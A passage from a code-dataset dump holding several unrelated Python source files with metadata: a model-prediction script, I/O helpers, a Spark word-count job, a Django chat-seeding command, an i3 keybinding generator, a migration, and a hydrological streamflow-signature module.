else:\n return False\n\n\ndef main():\n global di, reverse_di, labels\n\n [ print_usage(0) for arg in sys.argv if arg in (\"-h\", \"--help\") ]\n\n print(\"Running %s...\" % c.PATH)\n\n #error checking\n #check for 3 args\n if len(sys.argv) != 5 and len(sys.argv) != 6:\n print(c.WRONG_NUM_ARGS % (4, (len(sys.argv) - 1)), file=sys.stderr)\n print_usage(1)\n\n has_idle = len(sys.argv) == 6\n train_features_dir = sys.argv[1]\n untagged_features_dir = sys.argv[2]\n model_dir = sys.argv[3]\n if has_idle:\n idle_dir = sys.argv[4]\n results_dir = sys.argv[5]\n else:\n results_dir = sys.argv[4]\n\n \n #check training features dir\n errors = check_dir(\"Training features directory\", train_features_dir)\n #check untagged features dir\n errors = check_dir(\"Untagged features directory\", untagged_features_dir) or errors\n #check tagged model dir\n errors = check_dir(\"Tagged model directory\", model_dir) or errors\n if has_idle:\n #check idle model dir\n errors = check_dir(\"Idle model directory\", idle_dir) or errors\n\n #check results_dir if it exists\n if os.path.isdir(results_dir):\n if not os.access(results_dir, os.W_OK):\n errors = True\n print(c.NO_PERM % (\"results directory\", results_dir, \"write\"), file=sys.stderr)\n if not os.access(results_dir, os.X_OK):\n errors = True\n print(c.NO_PERM % (\"results directory\", results_dir, \"execute\"), file=sys.stderr)\n\n if errors:\n print_usage(1)\n #end error checking\n\n print(\"Input training features: %s\\nInput untagged features: %s\\nInput Tagged models: %s\"\n % (train_features_dir, untagged_features_dir, model_dir))\n if has_idle:\n print(\"Input idle models: %s\\nOutput results: %s\" % (idle_dir, results_dir))\n else:\n print(\"Output results: %s\" % results_dir)\n\n for path in os.listdir(untagged_features_dir):\n # base_model_name = ''\n # anomaly_model_file = ''\n # device_label = ''\n if path.endswith(\".csv\"):\n features_file = untagged_features_dir + '/' + path\n device = path.replace('.csv','')\n base_model_file = os.path.join(model_dir, \"knn\", device + \"knn.model\")\n errors = check_file(\"model\", device, base_model_file)\n\n device_label = os.path.join(model_dir, \"knn\", device + \".label.txt\")\n errors = check_file(\"labels\", device, device_label) or errors\n\n anomaly_model_file = os.path.join(model_dir, \"anomaly_model\",\n \"multivariate_model_\" + device + \".pkl\")\n errors = check_file(\"anomaly model\", device, anomaly_model_file) or errors\n \n if has_idle:\n idle_model_file = os.path.join(idle_dir,\n \"multivariate_model_\" + device + \"_idle.pkl\")\n errors = check_file(\"idle model\", device, idle_model_file) or errors\n else:\n idle_model_file = None\n \n for feat_path in os.listdir(train_features_dir):\n if feat_path == f'{device}.csv':\n trained_features_file = f'{train_features_dir}/{feat_path}'\n\n if errors:\n continue\n\n labels = label(device_label)\n di, reverse_di = dictionary_create(labels)\n dev_result_dir = os.path.join(results_dir, device + '_results/')\n print(f\"Running process for {device}\")\n run_process(features_file, dev_result_dir, base_model_file, anomaly_model_file,\n idle_model_file, model_dir, trained_features_file)\n print(\"Results for %s written to \\\"%s\\\"\" % (device, dev_result_dir))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"model/src/s10_predict.py","file_name":"s10_predict.py","file_ext":"py","file_size_in_byte":12604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"423711254","text":"def laptoprentals(times):\n stretch_times = []\n time_points = {}\n \n if times == [[]]:\n return 0\n \n for time in times:\n stretch_times.append([num for num in range(time[0], time[1])])\n \n for stretch_time in stretch_times:\n for time_point in stretch_time:\n if time_point in time_points.keys():\n time_points[time_point] += 1\n else:\n time_points[time_point] = 1\n \n print(time_points)\n max_laptop = 0\n \n for time_point in time_points.values():\n if time_point > max_laptop:\n max_laptop = time_point \n \n return max_laptop\n","sub_path":"Data-structures-and-algorithms/laptopRental/laptop_rental.py","file_name":"laptop_rental.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"55323526","text":"import pandas as pd\nimport os\nfrom os.path import join as pjoin\nimport warnings\nimport pickle\n\ndef _load_data(path, name=None):\n \"\"\" Read results data if exists\n \"\"\"\n if name is None:\n warnings.warn('name is None')\n path_file = path\n else: \n path_file = pjoin(path, name)\n if os.path.exists(path_file):\n results = pd.read_pickle(path_file)\n else:\n results = pd.DataFrame()\n return results\n\ndef _load_data_pickle(path, name=None):\n \"\"\" Save the results \"\"\"\n if name is None:\n warnings.warn('name is None, please give a name')\n path_file = path\n else:\n path_file = pjoin(path, name)\n with open(path_file, 'rb') as f:\n results = pickle.load(f)\n return results\n\n\n\ndef _save_results(path, results, name):\n \"\"\" Save the results \"\"\"\n if name is None:\n warnings.warn('name is None, please give a name')\n\n path_file = pjoin(path, name)\n with open(path_file, 'wb') as f:\n pickle.dump(results, f)\n\n\ndef _check_path(path):\n \"\"\" This funtion creates folders if does not exists\n \"\"\"\n if not os.path.exists(path):\n os.makedirs(path)\n\n","sub_path":"fmri_utils/data_management/io_utils.py","file_name":"io_utils.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"531300803","text":"import mist\nclass TideJob:\n\tdef __init__(self, job):\n\t\tjob.sendResult(self.perform(job))\n\n\tdef perform(self, job):\n\t\td_var={}\n\t\tm_var={}\n\t\td_merge={}\n\t\tred={}\n\t\tcol={}\n\t\trbk={}\n\t\tfm_var={}\n\t\td_var['-1'] = job.sc.textFile(job.parameters.apply('-1'))\n\t\tfm_var['-2'] = d_var['-1'].flatMap(lambda x: x.split(' '))\n\t\tm_var['-3'] = fm_var['-2'].map(lambda x: (x, 1))\n\t\trbk['-4'] = m_var['-3'].reduceByKey(lambda x, y: x+y)\n\t\treturn rbk['-4'].collect()\n\njob = TideJob(mist.Job())\n","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"104755277","text":"from django.core.management.base import BaseCommand, CommandError\nfrom backend.settings import FIXTURES_PATH\nimport json\nfrom account.models import UserProfile\nimport requests\nfrom backend.settings import API_URL\nimport os\nfrom chat.models import ChatMessage, ChatRoom\nfrom rest_framework.authtoken.models import Token\n\nclass Command(BaseCommand):\n\n def handle(self, *args, **options):\n print('Loading chat rooms')\n user_file = os.path.join(FIXTURES_PATH, 'users.json')\n with open(user_file,'r') as f:\n jdata = json.loads(f.read())\n ChatRoom.objects.all().delete()\n ChatMessage.objects.all().delete()\n for female_user in jdata['female']:\n female_user = UserProfile.objects.get(username=female_user['username'])\n token, created = Token.objects.get_or_create(user=female_user)\n headers = {'Authorization': 'Token %s' % token.key}\n \n for male_user in jdata['male']:\n male_user = UserProfile.objects.get(username=male_user['username'])\n rez = requests.get(API_URL+'chat/get_room/%s' % male_user.id, headers=headers)\n room_out = json.loads(rez.text)\n print('chat room %s was created' % room_out['id'])\n data = {\"room\": room_out['id'], \"message\": \"Hello from %s\" % female_user.username}\n rez = requests.post(API_URL+'chat/create_message/', json=data, headers=headers)\n message_out = json.loads(rez.text)\n print('Message: %s' % message_out['message'])","sub_path":"backend/chat/management/commands/load_chat.py","file_name":"load_chat.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"525649367","text":"#!/usr/bin/env python\nimport platform\nhost = platform.node().lower().split(\".\")[0]\n\nkeys = {}\nclass Key(object):\n def __init__(self, name, action):\n self.name = name\n self.action = action\n keys[name] = self\n\nmappings = {}\nclass Mapping(object):\n def __init__(self, name, code=None, sym=None):\n self.name = name\n self.code = code\n self.sym = sym\n mappings[name] = self\n\nKey(name=\"brightness up\", action=\"exec zsh $basedir/bin/backlight.zsh $backlight_screen_path +\")\nKey(name=\"brightness down\", action=\"exec zsh $basedir/bin/backlight.zsh $backlight_screen_path -\")\nKey(name=\"backlight up\", action=\"exec zsh $basedir/bin/backlight.zsh $backlight_keyboard_path +\")\nKey(name=\"backlight down\", action=\"exec zsh $basedir/bin/backlight.zsh $backlight_keyboard_path -\")\n\nMapping(name=\"brightness down\", code=\"232\")\nMapping(name=\"brightness up\", code=\"233\")\nMapping(name=\"backlight down\", code=\"237\")\nMapping(name=\"backlight up\", code=\"238\")\n\nfor name in mappings:\n if name in keys:\n key = keys[name]\n mapping = mappings[name]\n if mapping.code:\n print(\"bindcode %s %s\" % (mapping.code, key.action))\n elif mapping.sym:\n print(\"bindsym %s %s\" % (mapping.sym, key.action))\n","sub_path":".i3/configs/025-laptop.py","file_name":"025-laptop.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"381546549","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport kitsune.sumo.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('users', '0005_set_initial_contrib_email_flag'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='profile',\n name='first_l10n_email_sent',\n field=models.BooleanField(default=False, help_text=u'Has been sent a first revision contribution email.'),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='profile',\n name='first_answer_email_sent',\n field=models.BooleanField(default=False, help_text=u'Has been sent a first answer contribution email.'),\n preserve_default=True,\n ),\n ]\n","sub_path":"kitsune/users/migrations/0006_auto_update_help_text_email_sent_fields.py","file_name":"0006_auto_update_help_text_email_sent_fields.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"330368232","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 30 16:02:05 2021\n\n@author: mvand\n\"\"\"\n\nimport pandas as pd \nimport numpy as np \nfrom pathlib import Path \nimport xarray as xr \n\nimport signatures_functions \n\n\n##########################################\n#### SUPPORT FUNCTIONS #### \n##########################################\n\ndef read_gauge_data(fn_list, transform = False, src_proj = None, dst_proj = None, resample24hr=False):\n \n '''\n Function that reads different types of gauge data - \n and returns a dataframe with same set/order of columns:\n [loc_id, quantity, unit, date, time, value, epsg, x, y]\n \n fn path to (csv) datafile \n dtype datasource - file will be opened accordingly \n transform transform coordinate system \n '''\n \n out_df = None\n meta = {}\n\n output_cols = ['date', 'time', 'value', 'quantity', \n 'epsg', 'nan_val', 'loc_id', 'y', \n 'x', 'upArea', 'unit']\n \n out_df = pd.DataFrame(columns=output_cols)\n \n for fn in fn_list: \n \n assert Path(fn).exists(), '[ERROR] file not found'\n \n ## get gauge id nr from filename \n gauge_id_nr = fn.name.split('_')[0]\n \n ## open file \n ## other options for encoding:\n ## encoding = 'mbcs'(windows only - not for linux) # encoding = 'ansi'\n\t\t## tried: ansi (does not work on linux?), utf-8, ascii, cp500 \n df = pd.read_csv(fn, skiprows=36, delimiter=';', encoding = 'cp850') \n #print(df)\n #print(df.columns)\n\t\t\n ## extract data \n discharge = df[' Value'].values \n dt_dates = pd.to_datetime(df['YYYY-MM-DD'], yearfirst=True, \n format='%Y-%m-%d')\n\n ## what time\n dt_time = pd.Series(['00:00:00']*len(dt_dates))\n # dt_time = pd.Series(['12:00:00']*len(dt_dates))\n\n ## create output dataframe \n temp_df = pd.DataFrame( {'date':dt_dates, 'time':dt_time, \n 'value':discharge})\n\n ## get metadata \n byte_df = open(fn, encoding='cp850')\n lines = byte_df.readlines()[:36]\n \n temp_df['loc_id'] = gauge_id_nr \n meta['loc_id'] = gauge_id_nr \n \n for line in lines:\n vals = line.split(' ')\n\n if 'Station:' in vals:\n meta['loc_name'] = vals[-1].replace('\\n', '').lower()\n temp_df['loc_id_name'] = meta['loc_name']\n\n if 'missing' in vals:\n meta['nan'] = float(vals[-1])\n temp_df['nan_val'] = float(vals[-1])\n\n if 'Latitude' in vals:\n meta['lat'] = float(vals[-1])\n # temp_df['y'] = meta['lat']\n temp_df['lat'] = meta['lat']\n\n if 'Longitude' in vals:\n meta['lon'] = float(vals[-1])\n # temp_df['x'] = meta['lon']\n temp_df['lon'] = meta['lon']\n\n if 'Unit' in vals:\n meta['unit'] = vals[-1].replace('\\n', '')\n temp_df['unit'] = meta['unit']\n\n if 'area' in vals:\n meta['upArea(km2)'] = float(vals[-1])\n temp_df['upArea'] = meta['upArea(km2)'] \n \n if 'Altitude' in vals:\n elevation = float(vals[-1]) \n if elevation <= -999.:\n elevation = np.nan \n \n meta['elevation'] = elevation \n temp_df['elevation'] = meta['elevation']\n\n if 'Content:' in vals:\n meta['description'] = ' '.join( vals[-3:] ).replace('\\n', '').lower()\n\n temp_df['quantity'] = 'Q'\n temp_df['epsg'] = 4326\n\n ## set nan values \n temp_df.loc[ temp_df['value'] == meta['nan'], 'value' ] = np.nan \n\n ## close meta file \n byte_df.close()\n lines = None \n\n ## aggregate date and time - set as index \n ## set format same as glofas/efas date format \n temp_df.index = pd.to_datetime( temp_df['date'],\n format='%Y-%m-%dT%H:%M:%S.%f' \n ).dt.strftime('%Y-%m-%d %H:%M:%S')\n \n out_df = out_df.append(temp_df)\n return out_df, meta\n\ndef rows_to_cols(df, id_col, index_col, target_col, resample_24hr = False):\n \n out_df = pd.DataFrame()\n \n unique_ids = df[id_col].unique() \n \n for target_id in unique_ids:\n \n _df = df[ df[id_col] == target_id ] \n col_names = _df.index.unique() \n \n for col_name in col_names:\n col_df = _df[ _df.index == col_name ] \n col_df = col_df.set_index(index_col) \n \n out_df[col_name] = col_df[target_col]\n \n if resample_24hr:\n out_df.index = pd.to_datetime( out_df.index )\n out_df = out_df.resample('D').mean()\n \n out_df.index = pd.to_datetime(out_df.index) \n return out_df\n\n\n##########################################\n#### ORGANIZE FEATURE TYPES ####\n#### & ####\n#### TIME WINDOWS #### \n##########################################\n\n#### FEATURE TYPES \nsorted_features = {\n 'stats': ['normal', 'log', 'gev', 'gamma', 'poisson'],\n 'correlation': ['n-acorr', 'n-ccorr'],\n 'fdc': ['fdc-q', 'fdc-slope', 'lf-ratio', 'conc-index', \n 'fdc-hv', 'fdc-lv'],\n 'hydro': ['bf-index', 'dld', 'rld', 'rbf', 'src', 'peak-distr',\n 'hf-stat', 'lf-stat']\n }\n\nstat_options = sorted_features['stats'] \ncorr_options = sorted_features['correlation']\nfdc_options = sorted_features['fdc']\nhydro_options = sorted_features['hydro']\n\nfeature_keys = list(sorted_features.keys())\nfeature_options = []\n\nfor key in feature_keys:\n for val in sorted_features[key]:\n feature_options.append(val)\n\n\noption_time_window = ['all', 'annual', 'seasonal', 'monthly', 'weekly']\ntime_format = {\n 'all': [':'],\n 'annual': ['Y'],\n 'seasonal': [month%12 // 3 + 1 for month in range(1, 13)],\n 'monthly': ['M'],\n 'weekly': ['W']}\n\n\n##########################################\n#### OVERVIEW #### \n#### dictionary to call feature #### \n#### functions with named output #### \n#### variables ####\n##########################################\n \nfunc_dict = {\n 'normal': {\n 'func': signatures_functions.calc_distr_normal,\n 'cols': ['Nm-{}', 'Ns-{}', 'N-gof-{}']\n },\n 'log': {\n 'func': signatures_functions.calc_distr_log,\n 'cols': ['Lm-{}', 'Ls-{}', 'L-gof-{}'] \n },\n 'gev': {\n 'func': signatures_functions.calc_distr_gev,\n 'cols': ['Gu-{}', 'Ga-{}', 'Gev-gof-{}'] \n },\n 'gamma': {\n 'func': signatures_functions.calc_distr_gamma,\n 'cols': ['Gk-{}', 'Gt-{}', 'G-gof-{}'] \n },\n 'poisson': {\n 'func': signatures_functions.calc_distr_poisson,\n 'cols': ['Pl-{}', 'P-gof-{}'] \n },\n 'n-acorr': {\n 'func': signatures_functions.calc_auto_correlation,\n 'cols': ['alag-{}-{}'] \n },\n 'n-ccorr': {\n 'func': signatures_functions.calc_cross_correlation,\n 'cols': ['clag-{}-{}']\n },\n 'fdc-q': {\n 'func': signatures_functions.calc_FDC_q,\n 'cols': ['fdcQ-{}-{}'] \n },\n 'fdc-slope': {\n 'func': signatures_functions.calc_FDC_slope,\n 'cols': ['fdcS-{}'] \n },\n 'lf-ratio': {\n 'func': signatures_functions.calc_LF_ratio,\n 'cols': ['lf-{}'] \n },\n 'conc-index': {\n 'func': signatures_functions.calc_ci,\n 'cols': ['ci-{}'] \n },\n 'fdc-hv': {\n 'func': signatures_functions.calc_FDC_HV,\n 'cols': ['fhv-{}'] \n },\n 'fdc-lv': {\n 'func': signatures_functions.calc_FDC_LV,\n 'cols': ['flv-{}'] \n },\n 'bf-index': {\n 'func': signatures_functions.calc_i_bf,\n 'cols': ['bfi-{}'] \n },\n 'rld': {\n 'func': signatures_functions.calc_RLD,\n 'cols': ['rld-{}'] \n },\n 'dld': {\n 'func': signatures_functions.calc_DLD,\n 'cols': ['dld-{}'] \n },\n 'rbf': {\n 'func': signatures_functions.calc_RBF,\n 'cols': ['rbf-{}'] \n },\n 'src': {\n 'func': signatures_functions.calc_recession_curve,\n 'cols': ['b_rc-{}', 'a_rc-{}'] \n },\n 'peak-distr': {\n 'func': signatures_functions.calc_peak_distr,\n 'cols': ['pks-{}'] \n },\n 'hf-stat': {\n 'func': signatures_functions.high_flow_events,\n 'cols': ['hf-f-{}', 'hf-t-{}'] \n },\n 'lf-stat': {\n 'func': signatures_functions.low_flow_events,\n 'cols': ['lf-f-{}', 'lf-t-{}'] \n },\n 'order-nr': {\n 'func': signatures_functions.str_order_nr,\n 'cols': ['str-nr'] \n },\n 'upA-match': {\n 'func': signatures_functions.upA_match,\n 'cols': ['upA-m'] \n }\n }\n\n\ndef calc_signatures(df, gauge_col,\n features = feature_options, time_window = option_time_window,\n fdc_q = [1, 2, 5, 10, 50, 90, 95, 99],\n n_alag = [1], n_clag = [0,1]):\n \n '''\n Function that calculates given features with specified time windows. \n \n INPUT\n df dataframe with observations on each row, indexed with\n a datetime index\n in each column, observations of a different location \n can be found, with column name the identifier of the\n location \n \n gauge_col the column name of the observation column, the rest\n of the columns are assumed to be simulation columns\n \n features names of the features to be calculated in list. \n if nothing is selected, all\n available features are calculated \n \n Options:\n Statistical distributions: \n normal, log-normal, gumbel & gamma\n ['normal', 'log', 'gev', 'gamma']\n \n Correlation:\n n-lagged autocorrelation, n-lagged cross-\n correlation (observations with simulations)\n ['n-acorr', 'n-ccor']\n \n FDC:\n i-th quantile of FDC, slope of FDC, \n low flow index \n ['fdc-q', 'fdc-slope', 'lf-ratio']\n \n Hydro inidices:\n baseflow index, declining limb density,\n rising limb density, Richard-Baker Flashiness,\n recession curve parameters \n ['bf-index', 'dld', 'rld', 'rbs', 'src']\n \n time_window time spans over which signatures are calculated. \n Options: \n ['all', 'annual', 'seasonal', 'monthly', 'weekly']\n \n fdc_q If quantiles of FDC ['fdc-q'] are calculated, the\n desired quantiles can be specified in a list \n with integers. \n \n Example:\n fdc_q = [1, 50, 99] \n will calculate the 1st, 50th and 99th quantile of \n the flow duration curve\n \n n_alag If n-lagged autocorrelation ['n-acorr'] is calculated,\n the target lag(s) can be specified in a list \n with integers. \n \n Example:\n n_alag = [1, 5] will calculate the 1 and 5 lagged\n autocorrelation of the time series \n \n n_clag If n-lagged cross-correlation ['n-ccorr'] is calculated,\n the target lag(s) can be specified in a list with \n integers.\n \n Example:\n n_alag = [0,1] will calculate the 0-lag and 1-lag \n cross correlation of simulated and observed [gauge_col]\n timeseries. \n \n OUTPUT\n df_out Dataframe with calculated features - on each row the\n features belonging to an input column can be found, with \n in each output column a feature value.\n '''\n \n print('\\n [START] signature calculation') \n\n calc_cols = df.columns \n obs_cols = [col for col in calc_cols if not gauge_col in col] \n \n ## organize features \n stat_features = [feat for feat in features if feat in stat_options]\n corr_features = [feat for feat in features if feat in corr_options]\n fdc_features = [feat for feat in features if feat in fdc_options]\n hydro_features = [feat for feat in features if feat in hydro_options] \n\n df_out = pd.DataFrame() \n df_out['ID'] = calc_cols \n df_out = df_out.set_index('ID') \n \n ### setup for different time windows \n for tw in time_window: \n \n time_index = df.index \n \n if tw == 'all':\n df['slice'] = 0 \n \n if tw == 'annual':\n df['slice'] = time_index.year \n \n if tw == 'seasonal':\n time_windows = dict(zip(range(1,13), time_format[tw])) \n df['slice'] = time_index.month.map(time_windows)\n \n if tw == 'monthly':\n df['slice'] = time_index.month \n\n if tw == 'weekly':\n df['slice'] = time_index.isocalendar().week\n \n ## calc feature \n for feature in features:\n # print(' [CALC] {}'.format(feature))\n ## get output names\n result_cols = func_dict[feature]['cols']\n \n ## go over time window \n for _slice in df['slice'].unique():\n \n ## get data \n calc_df = df[ df['slice'] == _slice][calc_cols]\n \n ## get name \n if tw == 'all':\n result_name = '{}'.format(tw) \n else:\n result_name = '{}_{}'.format(tw, _slice) \n \n ## perform calculations \n if feature in stat_features:\n \n ## calculate statistics \n results = calc_df.apply(func_dict[feature]['func']) \n \n ## save \n for i, ix in enumerate(results.index): \n _col = result_cols[i].format(result_name) \n df_out.loc[ results.columns, _col ] = results.loc[ix] \n \n if feature in corr_features: \n \n if 'acorr' in feature:\n \n ## loop over lag times \n for i, lag in enumerate(n_alag):\n if lag < len(calc_df):\n ## calculate lagged correlation\n results = calc_df.apply( func_dict[feature]['func'], lag = lag ) \n ## save \n _col = result_cols[i].format(lag, result_name) \n df_out.loc[ results.index, _col ] = results.values \n \n if 'ccorr' in feature: \n \n for i, lag in enumerate(n_clag):\n if lag < len(calc_df):\n \n ## setup name \n _col = result_cols[0].format(lag, result_name)\n \n ## calculate cross-correlation per column \n for col in obs_cols:\n result = func_dict[feature]['func']( calc_df[gauge_col], calc_df[col], lag=lag ) \n df_out.loc[col, _col] = result\n \n if feature in fdc_features: \n \n if 'fdc-q' in feature:\n \n results = calc_df.apply(func_dict[feature]['func'], fdc_q = fdc_q)\n \n for i, q in enumerate(fdc_q): \n _col = result_cols[0].format(q, result_name) \n df_out.loc[results.columns, _col] = results.loc[i,:].values \n \n else:\n results = calc_df.apply(func_dict[feature]['func']) \n _col = result_cols[0].format(result_name) \n df_out.loc[results.index, _col] = results.values\n \n \n if feature in hydro_features:\n\n results = calc_df.apply(func_dict[feature]['func']) \n \n if len(result_cols) > 1:\n for i, col in enumerate(result_cols):\n _col = col.format(result_name) \n df_out.loc[results.columns, _col] = results.loc[i,:].values\n \n else:\n _col = result_cols[0].format(result_name) \n df_out.loc[results.index, _col] = results.values \n \n print(' [FINISH] signature calculation') \n return df_out \n\ndef calc_vector(df_signatures, gauge_id, cols_preserve = ['clag', 'n_buffer']):\n \n '''\n Functions that takes a dataframe containing signature values from \n one observation point and corresponding simulations and calculates \n similarities of simulations with observations. \n \n INPUT\n df_signatures dataframe with signature values - each row contains\n a unique simulation or observation, with signature\n values in columns. Unique IDs in index. \n \n gauge_id the ID of the row containing observation signatures,\n used to compare the simulation signatures with \n \n cols_preserve columns that are left out of the similarity \n calculation. Input as list with string values.\n \n Example (& default value):\n cors_preserve = ['clag']\n \n Since 'clag' is cross-correlation, it is already\n a measurement of similarity and does not need\n to be taken into account\n \n OUTPUT\n df_sim a dataframe with on each row a similarity values\n of simulations with observations, with in each \n column a similarity feature value \n '''\n \n \n print('\\n [START] similarity vector calculation')\n \n ## list columns for subtraction of gauge signature values\n ## to observe similarity \n cols_intact = [] \n for keep_col in cols_preserve:\n cols = [col for col in df_signatures.columns if keep_col in col] \n for col in cols:\n cols_intact.append(col)\n \n cols_subtract = [col for col in df_signatures.columns if col not in cols_intact] \n\n ## separate observation and simulation data from signature data \n df_obs = df_signatures.loc[gauge_id] \n df_sim = df_signatures.drop(index=gauge_id) \n\n ## subtract signature values of observations from\n ## signature values of simulations\n df_sim[cols_subtract] = df_sim[cols_subtract] - df_obs[cols_subtract] \n \n print('\\n [FINISH] similarity vector calculation')\n return df_sim \n\ndef assign_labels(df, key, gauge_meta):\n \n '''\n Function that assigns target labels to features as preparation for\n a predictive algorithm \n \n INPUT\n df dataframe containing feature values belonging to \n samples \n \n key link between df and gauge_meta - sample ID in df \n is looked up in key to match with gauge_meta\n \n gauge_meta dataframe containing target values, is linked through\n 'key' with df \n \n OUTPUT\n df a dataframe with an additional column 'target',\n in which all samples have a value 0, 1 or -1.\n \n In the first case, if the target value is found in the\n available samples, the target sample is labelled with 1,\n while the other samples are labelled with 0.\n \n In other cases, if the target value is not found in the\n available samples, all samples are labelled with -1.\n '''\n \n print('\\n [START] assigning target labels') \n \n target_X, target_Y = gauge_meta[['Lisflood_X', 'Lisflood_Y']] \n \n target_cell = key[ (key['x'] == target_X) & (key['y'] == target_Y) ]\n \n if len(target_cell) > 0:\n ## target cell in buffer \n df['target'] = 0 \n df.loc[target_cell.index, 'target'] = 1\n else:\n ## target cell not in buffer \n df['target'] = -1\n \n print('\\n [FINISH] assigning target labels')\n return df \n\ndef df_to_ds(df, grid_key, gauge_id, data_type): \n \n '''\n Function that transforms all data in a dataframe ('df'), with the help\n of a key ('grid_key') into a xarray dataset\n \n INPUT\n df dataframe with samples on each row and features in \n columns, identified by IDs in index \n \n grid_key dataframe linked with IDs in index, identical to \n IDs in 'df', containing spatial data of each sample \n \n gauge_id overall identifier of samples (simulations) belonging\n to gauge observations\n \n data_type description of data type \n \n OUTPUT\n ds_out xarray dataset with feature data of each sample in a \n spatial grid \n '''\n \n print(' [START] translate dataframe to netcdf')\n ## find size of grid - square root of number of cells \n n_buffer = int( len(df)**0.5 ) \n \n df_vars = df.columns \n\n fill_grid = np.zeros(( int(len(df_vars)+1) ,n_buffer, n_buffer)) \n lon_grid = np.zeros((n_buffer, n_buffer)) \n lat_grid = np.zeros((n_buffer, n_buffer))\n\n x_out = grid_key['x'].unique() \n y_out = grid_key['y'].unique() \n \n ## loop over x_out and y_out \n ## based on cell_id\n ## create multi-dimensional output grid \n ## with on each layer a variable \n for j, y_cell in enumerate(y_out):\n for i, x_cell in enumerate(x_out):\n \n ## identify cell id to get data \n cell_id = grid_key[ (grid_key['x'] == x_cell) & (grid_key['y'] == y_cell) ] \n \n ## get row of data belonging to each cell \n df_data = df.loc[cell_id.index] \n\n ## first layer is id of cell \n fill_grid[0,j,i] = '{}{}'.format( int(i+1),int(j+1) ) \n \n ## fill remaining layers with data variables \n fill_grid[1:,j,i] = df_data.values \n \n ## save lat and lon in separate grids \n lon_grid[j,i] = cell_id['lon'].values[0]\n lat_grid[j,i] = cell_id['lat'].values[0]\n \n \n ## transform numpy array to xarray \n ds_out = xr.Dataset( \n data_vars = {\n 'id': ( (\"y\", \"x\"), fill_grid[0]) \n },\n coords = {\n \"y\": (y_out),\n \"x\": (x_out),\n \"lon\": ((\"y\", \"x\"), lon_grid),\n \"lat\": ((\"y\", \"x\"), lat_grid)\n },\n attrs={\"gauge\": gauge_id,\n \"type\": data_type}) \n \n ## add all variables \n for n, variable in enumerate(df_vars):\n n_layer = int(n+1) \n ds_out[variable] = ( (\"y\", \"x\"), fill_grid[n_layer])\n \n print(' [FINISH] translate dataframe to netcdf') \n return ds_out \n\n\ndef extract_ncfile(df_loc, nc_file, feature_name, ds_parameter = 'dem_mean'):\n \n ## open dataset \n ds = xr.open_dataset(nc_file)\n \n ## get x and y values \n search_x = df_loc['x'].unique()\n search_y = df_loc['y'].unique() \n \n ## create a searching area \n mask_x = ( ds['x'] >= min(search_x) ) & ( ds['x'] <= max(search_x) )\n mask_y = ( ds['y'] >= min(search_y) ) & ( ds['y'] <= max(search_y) ) \n \n ## execute mask search \n ds_search = ds.where( mask_x & mask_y, drop=True) \n \n ## convert data to dataframe \n df_search = ds_search.to_dataframe().reset_index()\n \n ## loop through search dataframe\n ## find correct values by matching x and y \n for ix in df_search.index:\n search_result = df_search.loc[ix]\n \n ## assign value \n df_loc.loc[ (df_loc['x'] == search_result['x']) &\n (df_loc['y'] == search_result['y']),\n feature_name ] = search_result[ds_parameter] \n return df_loc \n\n\ndef pa_calc_signatures(gauge_id, input_dir, obs_dir, gauge_fn, var='dis24'): \n \n '''\n Function that takes data of a single gauge and observations and prepares\n signature calculations \n \n INPUT \n gauge_id ID matching with a GRDC gauge \n \n input_dir directory containing simulation data \n \n obs_dir directory containing gauge observation data \n \n gauge_fn file containing gauge metadata \n \n var name of variable in simulation data \n \n OUTPUT\n 1 / -1 If succesful, returns 1, else -1 \n \n '''\n \n fn_sim = input_dir / \"buffer_{}_size-4.nc\".format(gauge_id) \n fn_obs = obs_dir / '{}_Q_Day.Cmd.txt'.format(gauge_id) \n \n \n if fn_sim.exists() and fn_obs.exists() and gauge_fn.exists(): \n \n df_gauge_meta = pd.read_csv(gauge_fn, index_col=0) \n df_gauge_meta = df_gauge_meta.loc[gauge_id] \n \n ## open simulation dataset \n ds = xr.open_dataset(fn_sim) \n df_sim = ds.to_dataframe().reset_index() \n \n ## reshape to dataframe \n df = pd.DataFrame() \n df['date'] = pd.to_datetime( df_sim['time'].unique() )\n df = df.set_index('date') \n \n ## key between assigned cell_id and location in grid\n df_key = pd.DataFrame() \n \n ## shape \n nx = df_sim['x'].nunique()\n ny = df_sim['y'].nunique() \n \n x_center = int( nx / 2) \n y_center = int( ny / 2) \n \n for i, x_cell in enumerate(df_sim['x'].unique()):\n \n for j, y_cell in enumerate(df_sim['y'].unique()):\n \n _df = df_sim[ (df_sim['x'] == x_cell) & (df_sim['y'] == y_cell)] \n \n cell_id = '{}_{}{}'.format( gauge_id, int(i+1), int(j+1))\n \n time_ix = pd.to_datetime( _df['time'] )\n df.loc[time_ix, cell_id] = _df[var].values \n \n ## save x,y and cell id \n df_key.loc[cell_id, ['x', 'y']] = x_cell, y_cell \n \n ## save lat lon \n lat_cell = _df['lat'].unique()[0] \n lon_cell = _df['lon'].unique()[0]\n df_key.loc[cell_id, ['lat', 'lon']] = lat_cell, lon_cell \n \n ## save cell upArea\n df_key.loc[cell_id, 'upArea'] = _df['upArea'].unique()[0] \n \n ## save distance to center cell \n df_key.loc[cell_id, 'n_buffer'] = max( abs(x_center - i) , abs(y_center - j) )\n\n\n ## read 